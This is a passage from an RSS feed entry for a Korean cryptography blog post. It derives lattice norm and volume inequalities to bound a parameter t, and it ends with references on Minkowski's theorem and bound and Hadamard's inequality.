&lt;p data-ke-size=&quot;size14&quot;&gt;\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}\leq 2^{2(n+\alpha-t)+2-2\epsilon_{1}}+2^{2(n-t+\alpha+1-2\epsilon_{1})}\leq 2^{2(n+\alpha-t)+3-\epsilon_{1}}\tag{7}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(2^{n-t+\frac{1}{2}}-1=2^{n-t+\frac{1}{2}-\epsilon_{2}}\) 를 만족하는 \(\epsilon_{2}\)를 정의한다. \(K=\lfloor2^{n-t+\frac{1}{2}}\rfloor\geq 2^{n-t+\frac{1}{2}-\epsilon_{2}}\) 이고 \(N_{i}^{2}\geq 2^{2n-2}\) 이므로 \(V^{2}\)의 lower bound는 다음과 같이 표현된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[V^{2}=K^{2}\left(N_{1}^{2}+N_{2}^{2}+2^{2(n-t)}\right)&amp;gt;K^{2}\left(N_{1}^{2}+N_{2}^{2}\right)\geq 2^{4n-2t-2\epsilon_{2}}\tag{8}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(7)과 (8)의 부등식으로 (1)이 성립하기 위한 \(t\)의 범위를 좁힐 수 있다. \(2^{2(n+\alpha-t)+3-\epsilon_{1}}\leq 2^{2n-t-\epsilon_{2}}\) 를 풀면 \(t\geq 2\alpha+3+\epsilon_{2}-\epsilon_{1}\) 이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(\epsilon_{1}=\log_{2}\left(\frac{1}{1-\frac{1}{2^{\alpha}}}\right)\) , \(\epsilon_{2}=\log_{2}\left(\frac{1}{1-\frac{1}{2^{n-t+\frac{1}{2}}}}\right)\) 이고 \(\alpha\leq n-t\) 이므로, \(\epsilon_{2}\leq\epsilon_{1}\) 이고 \(t\geq 2\alpha+3\) 이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://hal.archives-ouvertes.fr/hal-01288914/document&quot;&gt;https://hal.archives-ouvertes.fr/hal-01288914/document&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Minkowski%27s_bound&quot;&gt;https://en.wikipedia.org/wiki/Minkowski%27s_theorem&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Minkowski%27s_bound&quot;&gt;https://en.wikipedia.org/wiki/Minkowski%27s_bound&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Hadamard%27s_inequality&quot;&gt;https://en.wikipedia.org/wiki/Hadamard%27s_inequality&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>Cryptography/Techniques</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/146</guid>
      <comments>https://mineta.tistory.com/146#entry146comment</comments>
      <pubDate>Tue, 16 Jun 2020 17:01:19 +0900</pubDate>
    </item>
  </channel>
</rss>